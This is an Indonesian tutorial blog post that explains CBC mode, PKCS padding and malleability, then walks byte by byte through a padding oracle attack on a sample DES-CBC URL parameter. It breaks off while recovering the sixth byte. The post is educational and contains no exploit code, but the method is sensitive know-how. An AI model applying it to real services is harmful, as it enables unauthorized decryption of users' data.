Padding Oracle Attack

oraclematrix

Apa itu padding oracle attack ? Banyak yang mengira ini pasti sejenis SQL injection atau exploit pada database Oracle. Sebenarnya padding oracle attack tidak ada hubungannya sama sekali dengan database oracle, ini adalah jenis serangan yang meng-interogasi ‘the oracle’ kemudian dengan matematika sederhana (operasi XOR) menggunakan jawaban ‘the oracle’ untuk mendekrip ciphertext.

Block Cipher vs Stream Cipher

Secara umum ada dua pendekatan bagaimana algoritma enkripsi dan dekripsi memproses data:

  • Block Cipher. Enkripsi dan dekripsi dilakukan terhadap satu blok plaintext dan ciphertext berukuran tertentu (contohnya blok berukuran 64 bit atau 128 bit). Dalam enkripsi block-cipher, bila data terdiri dari banyak blok, semua blok dienkrip/dekrip dengan kunci yang sama. Contoh algoritma enkripsi block-cipher adalah DES dan AES.

  • Stream-cipher. Data dianggap sebagai aliran bit/byte, proses enkrip dan dekrip dilakukan terhadap satu bit atau satu byte setiap waktu seperti pada aliran produksi barang melalui assembly line/conveyor belt di pabrik. Bila dalam block-cipher semua blok menggunakan kunci yang sama, dalam stream-cipher setiap bit/byte dienkrip/dekrip dengan kunci yang berbeda menggunakan aliran kunci (keystream) pseudo-random yang di-generate dari suatu kunci berukuran tertentu (40 bit-128 bit). Contoh algoritma enkripsi stream-cipher adalah RC4.

Mode Operasi Block-Cipher

Algoritma enkripsi block cipher seperti AES/DES sendiri sebenarnya hanya dirancang untuk melakukan enkripsi/dekripsi terhadap satu blok plaintext atau blok ciphretext saja. Contohnya AES, dirancang untuk mengubah plaintext berukuran 128 bit (dengan kunci berukuran 128/192/256 bit) menjadi ciphertext berukuran 128 bit juga.

Screen Shot 2013-03-12 at 7.00.58 AM

Bila hanya ada satu blok plaintext/ciphertext, maka enkripsi dan dekripsi dapat dilakukan secara langsung pada blok tersebut. Namun bila ciphertext/plaintextnya besar dan setelah dipotong-potong tersusun dalam lebih dari satu blok, tentu harus ada cara/prosedur untuk memproses blok-blok tersebut, prosedur ini disebut mode operasi. Dalam mode operasi dijelaskan bagaimana enkripsi/dekripsi dilakukan terhadap blok-blok plaintext/ciphertext tersebut, bagaimana hubungan antara satu blok dengan blok lainnya, blok manakah yang harus dienkrip/dekrip duluan dan sebagainya.

Beberapa contoh mode operasi adalah ECB dan CBC. Perlu diingat bahwa mode operasi bukanlah algoritma enkripsi, algoritma enkripsi seperti AES/DES dapat dioperasikan dalam banyak mode operasi yang berbeda seperti AES-CBC (AES dalam mode operasi CBC), AES-EBC (AES dalam mode operasi EBC) dan sebagainya. Jadi mode operasi lebih mirip protokol/prosedur untuk mengoperasikan suatu algoritma enkripsi tertentu.

Electronic Code Book (ECB) Mode

Pendekatan yang paling sederhana adalah dengan dengan meng-enkrip/dekrip setiap blok tersebut sendiri-sendiri, secara independen. Blok satu dan blok yang lain tidak ada hubungannya dan diproses sendiri-sendiri. Mode operasi yang seperti ini disebut sebagai mode ECB (electronic code book). Gambar di bawah ini memperlihatkan proses enkripsi dan dekripsi dalam mode ECB.

Screen Shot 2013-03-10 at 8.54.01 PM

Dalam gambar di atas terlihat bahwa masing-masing blok akan dienkrip/dekrip terpisah, tidak ada hubungan satu sama lain. Apa yang terjadi bila Plaintext 1 dan Plaintext 2 isinya sama ? Karena dalam algoritma block cipher semua blok menggunakan kunci yang sama, tentu saja bila plaintext blok 1 dan plaintext blok 2 identik akan menghasilkan ciphertext blok 1 dan ciphertext blok 2 yang juga identik. Ini adalah kelemahan mode ECB, bila ada blok-blok plaintext yang identik, maka ciphertextnya akan identik juga sehingga akan memperlihatkan pola yang mudah dilihat dalam ciphertext.

Screen Shot 2013-03-10 at 10.55.09 PM

Kelemahan mode EBC ini akan terlihat jelas ketika meng-enkrip dokumen/data yang memiliki banyak data yang sama seperti gambar yang biasanya memiliki banyak deretan pixel yang warnanya sama. Pada gambar di atas (gambar wikipedia), karena banyak area yang warnanya sama seperti latar putih, warna hitam dan kuning yang luas, membuat file gambar tersebut ketika dipotong-potong akan mempunyai banyak blok yang identik. Mode ECB bahkan tidak bisa menjamin confidentiality karena gambar pinguinnya masih terlihat jelas setelah dienkripsi.

Kelemahan ini adalah kelemahan mode operasi, bukan algoritma enkripsinya. Jadi sekuat apapun algoritma enkripsinya, bila dioperasikan dalam mode ECB, hasilnya juga akan mengandung kelemahan yang sama (blok plaintext identik menghasilkan blok ciphertext identik).

Cipher Block Chaining (CBC) Mode

Bila dalam mode ECB (electronic code book) setiap blok di-enkrip/dekrip sendiri-sendiri secara independen, dalam mode CBC (cipher block chaining), suatu blok dan blok lain saling terkait (chained). Saling terkait disini maksudnya adalah enkripsi dan dekripsi suatu blok data selalu melibatkan ciphertext (hasil enkripsi) blok sebelumnya.

Agar blok-blok plaintext yang identik tidak menghasilkan blok-blok ciphertext yang identik pula, mode CBC (cipher block chaining) mengaitkan (chaining) satu blok dengan blok ciphertext sebelumnya dan menggunakan random initialization vector (IV) sebagai ciphertext blok ke-0. Cara kerja mode CBC adalah seperti pada gambar di bawah ini.

Screen Shot 2013-03-08 at 9.45.53 AM

Setiap blok plaintext di-XOR dengan ciphertext hasil enkripsi blok plaintext sebelumnya baru kemudian hasil operasi XOR ini dienkrip untuk menghasilkan blok ciphertext. Begitu pula sebaliknya ketika dekripsi. Dekripsi yang dilakukan terhadap suatu blok ciphertext tidak langsung menghasilkan blok plaintext, hasil dekripsi tersebut harus di-XOR dulu dengan blok ciphertext sebelumnya untuk menghasilkan blok plaintext. Jadi enkripsi maupun dekripsi selalu melibatkan blok ciphertext sebelumnya.

Dalam bentuk notasi matematika, bisa dilihat di bawah ini:

Screen Shot 2013-03-10 at 6.54.29 PM

Variabel yang dipakai dalam formula di atas:
⊕ = Notasi untuk eXclusive OR
P = Plaintext
C = Ciphertext
IV = Initialization Vector (boleh dianggap sebagai C0)
Ek = Enkripsi dengan kunci k
Dk = Dekripsi dengan kunci k
P1 = Plaintext blok ke-1
P2 = Plaintext blok ke-2
Pn = Plaintext block ke-n
C1 = Ciphertext block ke-1
C2 = Ciphertext block ke-2
Cn = Ciphertext block ke-n

IV (Initialization Vector)

Kalau dalam setiap enkripsi/dekripsi harus melibatkan ciphertext blok sebelumnya, bagaimana dengan enkripsi/dekripsi blok pertama ? Karena posisinya adalah blok pertama, maka tentu saja tidak ada ciphertext blok ke-0 (C0).

Karena tidak ada C0, maka diperlukan suatu data yang berfungsi sebagai C0, data ini disebut dengan IV. Dengan adanya IV, enkripsi/dekripsi blok pertama yang membutuhkan ciphertext blok sebelum pertama (yang sebenarnya tidak ada), bisa menggunakan IV sebagai (seolah-olah) ciphertext blok ke-0.

Pemilihan IV tidak boleh sembarangan, IV sebisa mungkin random dan unik, jangan menggunakan IV yang predictable dan berulang (IV yag sama dipakai lagi untuk kunci yang sama). IV sebenarnya tidak perlu dirahasiakan, karena IV bisa juga dianggap sebagai bagian dari ciphertext juga (C0), tapi kalau IV dirahasiakan memang akan menyulitkan attacker mendapatkan blok pertama.

Padding

Dalam block-cipher plaintext dan ciphertext harus dipotong-potong dan disusun dalam blok-blok data berukuran sama. Sebagai contoh, DES dan Blowfist menggunakan blok berukuran 64 bit, AES menggunakan blok berukuran 128 bit. Karena data harus masuk dalam blok berukuran sama, maka dibutuhkan padding byte sebagai pengganjal untuk menggenapi data agar pas dengan ukuran blok.

Aturan mengenai padding dijelaskan dalam standar PKCS#7 dan PKCS#5 (Public Key Cryptographic Standard). Padding dilakukan dengan mengisi byte bernilai N bila dibutuhkan padding sebanyak N byte. Sebagai contoh, bila dibutuhkan padding 3 byte, maka paddingnya berisi ’03 03 03′, bila dibutuhkan padding 5 byte, maka paddingnya berisi ’05 05 05 05 05′.

Beberapa contoh padding yang benar terlihat pada gambar di bawah ini.

Screen Shot 2013-03-11 at 3.20.40 PM

Mungkin ada yang melihat keanehan pada cara padding di atas. Bila datanya sudah berisi 8 byte ‘ABCDEFGH’ kenapa masih perlu padding? Bukankah padding hanya untuk data yang tidak genap 8 byte?

Dalam standar PKCS memang sudah diatur bahwa padding harus ditambahkan pada semua data, walaupun data tersebut sudah genap seukuran blok yang diperlukan. Jadi bila blok datanya adalah 8 byte, maka berapapun ukuran datanya, padding tetap harus ditambahkan, minimal 1 byte, maksimal 8 byte.

Byte padding ‘dummy’ ini perlu ditambahkan untuk menghindarkan kebingungan. Bayangkan bila aturan paddingnya tidak menambahkan padding pada blok yang sudah seukuran blok yang diperlukan. Bila urutan byte dalam blok adalah ’41 42 43 44 45 46 47 01′ seperti gambar di atas, sistem akan bingung menentukan apakah blok data tersebut adalah ‘ABCDEFG’ dan 01 byte padding, atau memang datanya adalah ‘ABCDEFG’+byte 01 (byte 01 adalah bagian dari data, bukan padding byte).

Beberapa contoh lain padding yang valid seperti pada gambar di bawah ini. Bila dalam satu blok 8 byte isinya adalah byte 01 semua, maka byte 01 terakhir dianggap sebagai padding byte, sehingga yang dianggap sebagai data adalah 7 byte saja. Begitu pula bila dalam satu blok, 5 byte terakhirnya bernilai 02, maka dua byte terakhir dianggap sebagai padding byte, sehingga yang dianggap data adalah 6 byte pertama.

Screen Shot 2013-03-11 at 4.20.22 PM

Invalid Padding

Padding oracle attack bekerja dengan mendeteksi respons dari server yang memberitahukan client apakah padding valid atau tidak. Perlu diingat bahwa pengecekan padding dilakukan setelah dekripsi selesai dilakukan.

Mendeteksi byte padding apakah valid atau tidak, dimulai dengan melihat byte terakhir pada blok terakhir kemudian baru melihat byte-byte sebelumnya tergantung isi dari byte terakhirnya. Sebagai contoh, beberapa kondisi yang menentukan padding pada blok berukuran 8 byte (64 bit) valid atau tidak valid antara lain :

  • Bila byte terakhir bernilai diluar range 01 – 08, maka padding pasti tidak valid
  • Bila byte terakhir bernilai 01, maka padding pasti valid
  • Bila byte terakhir bernilai 02, maka padding valid bila 1 byte sebelumnya juga 02
  • Bila byte terakhir bernilai 03, maka padding valid bila 2 byte sebelumnya juga 03
  • Bila byte terakhir bernilai 04, maka padding valid bila 3 byte sebelumnya juga 04
  • Bila byte terakhir bernilai 05, maka padding valid bila 4 byte sebelumnya juga 05
  • Bila byte terakhir bernilai 06, maka padding valid bila 5 byte sebelumnya juga 06
  • Bila byte terakhir bernilai 07, maka padding valid bila 6 byte sebelumnya juga 07
  • Bila byte terakhir bernilai 08, maka padding valid bila 7 byte sebelumnya juga 08

Beberapa contoh invalid padding terlihat pada gambar di bawah ini.

Screen Shot 2013-03-11 at 7.10.32 PM

Proses Enkripsi

Mari kita lihat lebih detil proses enkripsi suatu data. Dalam contoh ini kita akan melihat proses enkripsi plaintext ‘ABCDEFGHIJKLM’ dengan kunci ‘rahasia’ menggunakan DES dalam mode CBC. Dalam contoh ini IV yang digunakan adalah deretan byte (01 02 03 04 05 06 07 08).

Screen Shot 2013-03-12 at 2.58.09 PM

Karena panjang plaintext adalah 13 byte, maka padding yang dibutuhkan adalah 3 byte agar genap menjadi 2 blok berukuran 8 byte. Setelah ditambahkan padding, blok pertama berisi ‘ABCDEFGH’, blok kedua berisi ‘IJKLM’+03+03+03.

Perlu diingat! Pada saat enkripsi, padding ditambahkan pada plaintext. Pada saat dekripsi, plaintext hasil dekripsi akan diperiksa, apakah padding bytenya valid atau tidak.

Setelah terbentuk 2 blok, proses enkripsi bisa dimulai dari plaintext blok pertama (P1) diXOR dengan IV, kemudian hasilnya di-enkrip dan menjadi ciphertext blok pertama (C1). Plaintext blok kedua (P2) diXOR dengan ciphertext blok pertama (C1), kemudian hasilnya dienkrip menjadi ciphertext blok kedua (C2). Perhatikan prosesnya byte per byte dalam gambar di bawah ini.

Screen Shot 2013-03-12 at 3.39.58 PM

Proses Dekripsi

Setelah proses enkripsi selesai, sekarang kita juga akan melihat proses dekripsinya. C1 didekrip menjadi deretan byte ’40 40 40 40 40 40 40 40′ kemudian diXOR dengan IV sehingga menghasilkan plaintext blok 1 (P1). Berikutnya blok C2 didekrip menjadi deretan byte ’64 32 1B B8 0A AA 08 86′ kemudian diXOR dengan C1 sehingga menghasilkan plaintext blok 2 (P2).

Screen Shot 2013-03-12 at 4.04.25 PM

Karena kunci dan ciphertext yang di-dekrip benar, maka proses dekripsi pada gambar di atas menghasilkan plaintext yang benar. Namun bila ciphertext yang didekrip bukan ciphertext yang benar, atau kuncinya salah, maka proses dekripsi tetap akan dilakukan sesuai prosedur, namun hasilnya bukan plaintext semula, namun data-data byte tak beraturan (garbled text).

Perlu diingat. Proses dekripsi akan tetap dilakukan meskipun ciphertext atau kuncinya salah. Ciphertext dan kunci yang benar akan didekrip menjadi plaintext yang benar, namun ciphertext atau kunci yang salah akan didekrip menjadi plaintext yang salah (deretan byte tak beraturan, garbled text)

Validasi Padding

Rangkaian proses dekripsi tidak berhenti setelah dekripsi selesai. Setelah ciphertext di-dekrip, selanjutnya akan dilakukan pemisahan byte mana yang berupa data (plaintext) dan byte mana yang berupa padding byte.

Pemisahan data dan padding hanya bisa dilakukan bila hasil dekripsinya mengandung byte padding yang valid. Ingat bahwa hasil dekripsi belum tentu menghasilkan plaintext yang benar (bila ciphertext atau kunci salah, hasilnya juga salah), jadi ada kemungkinan hasil dekripsinya adalah data byte tak beraturan yang tentu saja byte paddingnya tidak valid.

Dalam contoh gambar di atas, karena ciphertext dan kuncinya benar, maka hasil dekripsinya juga menghasilkan plaintext yang benar dengan byte padding yang valid (rangkaian byte 03 03 03). Pada contoh di atas, karena byte paddingnya adalah ’03 03 03′, maka bisa dipisahkan antara plaintext data dan byte padding dengan cara membuang 3 byte terakhir, sisanya (‘ABCDEFGHIJKLM’) adalah plaintext data. Kalau disederhanakan gambar proses dekripsi di atas menjadi (warna hijau=blok 1, warna biru=blok 2):

Screen Shot 2013-03-12 at 4.52.42 PM

Namun bagaimana bila ciphertextnya salah? Mari kita lihat contoh ciphertext yang salah, dan kita lihat apa hasilnya bila ciphertext salah tersebut didekrip. Bagaimana bila ciphertext blok pertama diubah byte terakhirnya dari 0x85 menjadi 0x83.

Screen Shot 2013-03-12 at 5.02.11 PM

Walaupun ciphertextnya sudah diubah, proses dekripsi tetap berjalan seperti biasa karena algoritma enkripsi/dekripsi bekerja mengubah kumpulan bit berukuran satu blok, apapun isi inputnya, menjadi kumpulan bit lain berukuran satu blok juga.

Perhatikan bahwa byte terakhir plaintext bernilai 05, tapi 5 byte terakhir plaintext bukan berisi 05 sesuai standar padding PKCS, artinya plaintext tersebut mengandung kesalahan padding. Jadi algoritma dekripsi tetap akan mendekrip semua input yang masuk, apapun isi inputnya, walaupun nanti hasil dekripsinya tidak valid paddingnya.

Sekarang kita coba lagi dengan ciphertext lain, kali ini byte terakhir ciphertext blok pertama diubah menjadi byte 0x86. Mari kita lihat apa yang terjadi.

Screen Shot 2013-03-12 at 5.15.34 PM

Setelah didekrip ternyata byte terakhir hasil dekripsinya bernilai 00, artinya bukan padding byte yang valid juga (padding byte yang valid bernilai 01-08 untuk blok berukuran 64 bit).

Oke, mari kita coba sekali lagi untuk ciphertext lainnya. Kali ini byte terakhir ciphertext blok pertama diubah mejadi 0x87, mari kita lihat apa yang terjadi.

Screen Shot 2013-03-12 at 5.29.21 PM

Kali ini ternyata byte terakhir hasil dekripsinya bernilai 0x01. Karena byte terakhir bernilai 01, maka bisa dipastikan paddingnya valid tanpa perlu melihat byte-byte lain sebelumnya.

Malleability

Mari kita perhatikan sekali lagi perbedaan antara ciphertext yang asli dan yang sudah dimodifikasi di bawah ini.

Screen Shot 2013-03-14 at 9.33.26 PM

Sebelum diubah, padding byte plaintextnya adalah 03-03-03 sehingga yang dianggap sebagai data adalah ‘ABCDEFGHIJKLM’. Dengan mengubah ciphertextnya satu byte saja dari 0x85 menjadi 0x87, kini byte terakhir plaintextnya bukan lagi 0x03, berubah menjadi 0x01 sehingga yang dianggap data adalah ‘ABCDEFGHIJKLM’+03+03 (kini byte 03 dianggap data, bukan bagian dari padding).

Perhatikan bahwa ternyata dengan mengubah satu byte saja dari ciphertext, bisa menghasilkan plaintext yang sama-sama valid, namun isinya berbeda. Sifat ini disebut dengan malleability.

Untuk memahami bahayanya properti malleability ini, bayangkan ada man-in-the-middle mencegat suatu ciphertext, kemudian mengubah satu byte saja dari ciphertext tersebut sebelum meneruskan ke tujuan. Setelah tiba di tujuan, ciphertext yang sudah diubah tadi ketika didekrip menghasilkan pesan yang berbeda dengan yang dimaksud dalam pesan aslinya. Hal ini tentu berbahaya bila isi pesannya berubah dari “kirim uang 1 juta ke rekening 123” berubah menjadi “kirim uang 1 juta ke rekening 124”.

The Oracle
oracleneo

Dalam padding oracle attack, yang dimaksud dengan Oracle disini tidak ada hubungannya sama sekali dengan SQL, dan database Oracle.

Oracle yang dimaksud adalah validation oracle, dimana kita bisa bertanya dan akan dijawab oleh oracle dengan jawaban ya atau tidak, benar atau salah, atau kondisi-kondisi lain. Terkadang oracle ini tidak menjawab secara verbal (blind-answer), mungkin hanya berupa perbedaan waktu (timing-attack), bila jawabannya benar, maka waktu memprosesnya lebih lama dibandingkan bila jawabannya salah.

Apapun dan bagaimanapun caranya merespons bila client bisa membedakan mana respons yang berarti valid padding, dan mana respons yang berarti invalid padding, artinya server itu telah menjadi ‘the oracle’.

Dalam web application, biasanya oracle menjawab dengan teks pada html “Error”, “Stacktrace”, “Invalid Padding Exception” atau pesan error sejenis. Cara lain menjawab adalah dengan membedakan status code HTTP, bila jawabannya salah, statusnya ‘500 Internal Server Error’, bila benar statusnya ‘200 OK’.

Cara kerja padding oracle attack adalah seperti pada gambar di bawah ini.

Screen Shot 2013-03-14 at 10.12.21 PM

Attacker melakukan brute force dengan mengirimkan banyak varian ciphertext untuk mendapatkan mana varian ciphertext yang menghasilkan valid padding. Ciphertext yang dikirim ke ‘the oracle’ dalam bentuk 2 blok, blok pertama selalu berubah-ubah ketika melakukan brute force untuk mencari varian blok ciphertext yang menghasilkan respons padding valid, sedangkan blok kedua adalah ciphertext yang ingin didekrip dan tidak berubah ketika melakukan brute force.

Perhatikan bahwa blok yang ingin didekrip diletakkan sebagai blok kedua dari ciphertext yang dikirim ke ‘the oracle’. Bila dalam ciphertext ada lebih dari satu blok ciphertext, kita bisa bebas memilih untuk mendekrip blok mana dulu, yang jelas caranya adalah dengan meletakkan blok ciphertext yang ingin didekrip sebagai blok kedua dari 2 blok ciphertext yang dikirim ke ‘the oracle’.

Lalu tepatnya bagaimana prosesnya, kenapa hanya dengan mengamati response valid atau invalid padding, kok bisa mendekrip ciphertext tanpa mengetahui kuncinya ? Agar lebih jelasnya saya akan jelaskan dengan contoh berikut.

Skenario Contoh

Suatu aplikasi web menyimpan encrypted data di client dalam parameter URL ‘crypted’. Seorang pelanggan warnet menemukan URL berikut dalam daftar history address bar komputer di warnet :

 
http://localhost:8888/kripto/thematrixoracle.php?crypted=2D7850F447A90B87123B36A038A8682F

Bila URL tersebut dibuka, ciphertext dikirim ke server dalam parameter crypted, kemudian server akan memberi respons:

  • ‘500 Internal Server Error’ bila paddingnya tidak valid.
  • ‘200 OK’ bila paddingnya valid.

Algoritma block cipher yang dipakai adalah DES berukuran 64 bit dalam mode CBC (apapun algoritma block-cipher yang dipakai tidaklah penting, padding oracle attack menyerang mode CBC apapun algoritma block-cipher yang dipakai). Dalam skenario ini source code yang digunakan di server sebagai the oracle adalah:

Screen Shot 2013-03-13 at 7.13.15 AM

Tanpa mengetahui kuncinya, hanya menggunakan jawaban dari the oracle, bagaimana cara si pelanggan warnet tadi untuk mendekrip isi parameter crypted ?

Mendapatkan byte terakhir P2

Sekarang saatnya melakukan serangan padding oracle. Kita akan mencoba mendekrip C2 satu byte per satu byte dimulai dari byte terakhir lalu maju sampai byte pertama.

Pertama yang harus dilakukan adalah memecah ciphertext yang ditemukan dari history browsing di atas, menjadi blok-blok. Karena panjang parameter crypted pada URL adalah 32 byte hexa string, artinya panjangnya adalah 16 byte, maka bisa diduga bahwa ini adalah block-cipher dengan panjang satu blok sebesar adalah 8 byte.

Berikutnya adalah memecah ciphertext menjadi blok. Setelah dipecah menjadi 2 blok, didapatkan C1 = ‘2D7850F447A90B87’ dan C2= ‘123B36A038A8682F’. Ini adalah blok C1 dan C2 yang asli ditemukan di URL dari browsing history.

Kita mulai dengan mendekrip blok terakhir dulu C2 (‘123B36A038A8682F’). Seperti yang sudah dijelaskan sebelumnya, kita harus mengirim dua blok ciphertext ke ‘the oracle’ :

  1. Blok pertama adalah blok ciphertext custom yang dibuat attacker. Blok ini byte awalnya bisa berisi apapun (random atau null byte), yang penting adalah byte terakhir yang mempengaruhi padding harus dicari dengan cara brute force untuk membuat padding menjadi valid.
  2. Blok target yang akan didekrip (‘123B36A038A8682F’). Blok ini tetap dalam setiap request karena blok inilah yang akan didekrip

Contoh dua blok cipher yang dikirim ke server adalah seperti di bawah ini.

Screen Shot 2013-03-14 at 3.49.37 PM

Dalam gambar di atas kita menggunakan deretan 7 null byte (byte 00) dan satu byte terakhir untuk brute force mulai dari 00-FF, sebagai ciphertext blok pertama. Sedangkan blok kedua tetap tidak berubah selama brute force karena ini adalah blok target yang akan didekrip.

Dua blok ciphertext pada gambar di atas digandeng kemudian dikirim ke server. Server sebagai ‘the oracle’ akan mendekrip 2 blok ciphertext tersebut dan memberikan response apakah menghasilkan plaintext dengan padding yang valid atau invalid.

Kita akan mulai mendekrip C2 dari byte terakhir, kemudian beranjak satu byte per satu byte sampai byte pertama C2. Karena yang dicari adalah byte terakhir P2 (hasil dekripsi C2), maka kita harus mencari byte terakhir ciphertext blok pertama yang membuat P2 menjadi bernilai 01 (valid padding). Situasinya tergambar seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 5.49.31 AM

Dalam gambar di atas, ada satu persamaan tapi dengan dua variabel yang tidak diketahui, A XOR B = 01, seharusnya persamaan ini tidak bisa diselesaikan. Tapi untungnya kita punya ‘the oracle’, dia akan membantu kita menyelesaikan persamaan tersebut. Bagaimanakah caranya?

Kita bisa menginterogasi ‘the oracle’ dengan mencoba semua kemungkinan B mulai dari 00-FF karena antara 00-FF pasti ada B yang membuat ‘A XOR B = 01’ menjadi benar. Kita bisa bertanya pada ‘the oracle’ pertanyaan-pertanyaan berikut:

  1. Apakah A XOR 00 = 01 ?
  2. Apakah A XOR 01 = 01 ?
  3. Apakah A XOR 02 = 01 ?
  4. Apakah A XOR 03 = 01 ?
  5. Apakah A XOR 04 = 01 ?
  6. Apakah A XOR 05 = 01 ? dst

Bila ‘the oracle’ menjawab dengan ‘invalid padding’, artinya jawaban pertanyaan di atas adalah ‘tidak’ dan kita harus mengajukan pertanyaan dengan byte berikutnya sampai FF. Sebaliknya bila the oracle menjawab dengan ‘valid padding’, artinya jawaban pertanyaan di atas adalah ‘ya’ dan kita sudah berhasil menemukan B.

Brute Force Byte Terakhir

Agar lebih jelas mari kita perhatikan lebih dalam lagi proses brute force untuk mendapatkan byte terakhir C1 yang membuat byte terakhir P2 menjadi 01 sehingga paddingnya valid.

Screen Shot 2013-03-14 at 10.47.22 PM

Dalam gambar di atas terlihat client mengirim 3 varian ciphertext. Pada varian pertama, byte terakhir blok ciphertext pertama adalah 00, setelah mendekrip ciphertext ini, ‘the oracle’ pun menjawab dengan ‘invalid padding’. Ketika mengirimkan ciphertext ini, sebenarnya kita sedang menginterogasi ‘the oracle’ dengan pertanyaan ‘Apakah A XOR 00 = 01 ?’, dan ternyata jawabannya adalah ‘tidak’ sehingga kita harus mencoba dengan pertanyaan lain.

Client tidak tahu hasil dekripsi ciphertext yang dia kirim menjadi apa. Client hanya bisa menduga-duga berdasarkan response dari ‘the oracle’. Karena responsnya adalah invalid padding, client menduga dan yakin bahwa byte terakhirnya pasti bukan 01. Walaupun client tidak tahu hasil dekripsinya apa, tapi client tahu bahwa byte terakhirnya pasti bukan 01, information-leak sekecil itu saja sudah cukup untuk mendekrip ciphertext tanpa mengetahui kuncinya.

Pada varian kedua, byte terakhir blok ciphertext pertama dinaikkan menjadi 01, namun jawaban ‘the oracle’ masih sama, yaitu ‘invalid padding’ yang artinya hasil dekripsinya pasti bukan diakhiri dengan byte 01. Kali ini kita mengajukan pertanyaan ‘Apakah A XOR 01 = 01 ?’, ternyata jawabannya masih ‘tidak’.

Pada varian ketiga, byte terakhir blok ciphertext pertama dinaikkan lagi menjadi 02, namun masih juga jawaban dari ‘the oracle’ adalah ‘invalid padding’. Dalam request ini kita mengajukan pertanyaan ‘Apakah A XOR 02 = 01 ?’, sayangnya jawabannya masih juga ‘tidak’.

Client harus terus mencoba menaikkan byte terakhir blok ciphertext pertama dari 00-FF karena di antara 00-FF pasti ada satu byte yang menghasilkan status padding valid. Gambar di bawah ini lanjutan dari proses brute force di atas sampai akhirnya client menemukan bahwa byte terakhir 0x87 akan membuat status padding menjadi valid.

Screen Shot 2013-03-14 at 11.01.57 PM

Hore, setelah mencoba dari byte 00, akhirnya pada request ke 88, didapatkan bahwa byte terakhir 87 menghasilkan respons valid padding. Kali ini kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 87 = 01 ?’.

Setelah dapat valid padding, so what ? Sebenarnya ada sesuatu yang cetar membahana disini, mari kita lihat lebih detil lagi byte per byte apa yang terjadi (Byte yang berisi ‘??’ artinya tidak diketahui isinya oleh client).

Screen Shot 2013-03-14 at 11.21.55 PM

Gambar di atas penting sekali untuk memahami padding oracle attack. Kita lihat kembali apa yang terjadi.

  1. Client mengirimkan 2 blok ciphertext dengan byte terakhir blok pertama bernilai 0x87
  2. Server mendekrip ciphertext dari client
  3. Setelah didekrip ternyata byte terakhirnya bernilai 01 (padding valid)
  4. Client mendeteksi response dari server bahwa padding valid
  5. Karena padding valid, client menduga (dan yakin) bahwa byte terakhir hasil dekripsi ciphertext yang dia kirim adalah 01

Okey, so far client hanya mengetahui byte 0x87 dan byte 0x01, apa yang bisa didapatkan dari itu ? Jawabannya ada pada gambar di atas, kita sebut saja byte yang berwarna hijau sebagai A.

Dari persamaan sebelumnya ‘the oracle’ sudah menjawab ‘Ya’ untuk pertanyaan: Apakah A XOR 0x87 = 0x01. Tadinya persamaan ini punya 2 variabel yang tidak diketahui, sekarang tinggal satu, artinya persamaan ini bisa diselesaikan. Lalu berapakah A ?

Jawabannya mudah, A adalah 0x87 ⊕ 0x01 = 0x86. Hore! Dengan mendeteksi response padding valid/tidak dari server, kini client bisa mengetahui A adalah 0x86, tapi tunggu dulu, A itu apa ? Jawabannya ada juga pada gambar di atas.

Pada gambar di atas jelas, A yang berwarna hijau adalah byte terakhir dari Decrypt(C2). Tapi jangan keburu senang dulu, ingat bahwa Decrypt(C2) bukan P2, masih ada satu langkah lagi untuk menjadi P2, masih harus di-XOR dulu dengan C1 untuk menghasilkan P2.

Karena byte terakhir C1 adalah 0x85 sehingga kita bisa dapatkan byte terakhir P2 adalah 0x86 XOR 0x85 = 0x03

Screen Shot 2013-03-14 at 11.27.01 PM

Mendapatkan byte ke-7 P2

Setelah berhasil mendapatkan byte terakhir P2 berikutnya adalah mendekrip 1 byte sebelum byte terakhir.

Caranya mirip dengan sebelumnya, yaitu dengan membuat agar padding hasil dekripsi ciphertext yang dikirim client, menjadi valid. Namun sedikit berbeda dengan sebelumnya, kali ini kondisi padding valid yang diinginkan adalah berakhiran dengan byte 02-02. Situasinya terlihat pada gambar di bawah ini.

Screen Shot 2013-03-15 at 6.26.50 AM

Kenapa byte terakhir blok ciphertext pertama sudah kita tetapkan berisi 0x84 ? Pada gambar di atas sudah jelas, bahwa 0x86 XOR sesuatu = 0x02, maka sesuatu itu adalah 0x84, simple math :).

Sekarang tinggal byte sebelum terakhir yang masih belum tahu harus diisi berapa agar menghasilkan 0x02 sebab ada dua tanda tanya disitu, jadi kalau ditulis persamaannya: A XOR B = 02, berapakah A dan B ?

Satu persamaan dengan dua variabel yang tidak diketahui mestinya tidak bisa diselesaikan. Cara mencari A dan B sama dengan sebelumnya, kita akan menginterogasi ‘the oracle’ untuk membantu menyelesaikan persamaan itu dalam bentuk brute force berikut:

  1. Apakah A XOR 00 = 02 ?
  2. Apakah A XOR 01 = 02 ?
  3. Apakah A XOR 02 = 02 ?
  4. Apakah A XOR 03 = 02 ?
  5. Apakah A XOR 04 = 02 ?
  6. Apakah A XOR 05 = 02 ? dst

Sekali lagi, brute force yang kita lakukan dengan mengirim banyak varian ciphertext pada dasarnya menginterogasi ‘the oracle’ untuk membantu memecahkan persamaan di atas. Jika ‘the oracle’ merespons dengan status ‘invalid padding’ artinya jawaban untuk pertanyaan di atas adalah ‘tidak’, artinya harus mencoba dengan pertanyaan berikutnya. Bila ‘the oracle’ merespons dengan status ‘valid padding’ artinya jawaban untuk pertanyaan di atas adalah ‘ya’.

Gambar di bawah ini adalah gambaran proses brute force yang dilakukan.

Screen Shot 2013-03-15 at 12.11.47 AM

Setelah dibrute force mulai dari 00, status padding valid didapatkan ketika 2 byte terakhir bernilai 0A-84. Kembali lagi ke persamaan di atas, jawaban status padding valid ini sama artinya dengan jawaban ‘ya’ untuk pertanyaan ‘Apakah A XOR 0A = 02 ?’ sehingga A bisa dihitung dengan mudah, yaitu 0A XOR 02 = 08. Situasinya kini menjadi seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 12.17.17 AM

Isi byte ke-7 dari P2 sekarang sudah bisa dihitung yaitu 08 XOR 0B (0B adalah byte ke-7 C1 yang asli) = 03.

Screen Shot 2013-03-15 at 12.21.43 AM

Mendapatkan byte ke-6 P2

Kali ini client harus mengirim dua blok ciphertext sedemikian sehingga ketika didekrip di server, hasilnya adalah P2 dengan 3 byte terakhir berisi 03-03-03. Situasinya kini adalah seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 6.37.56 AM

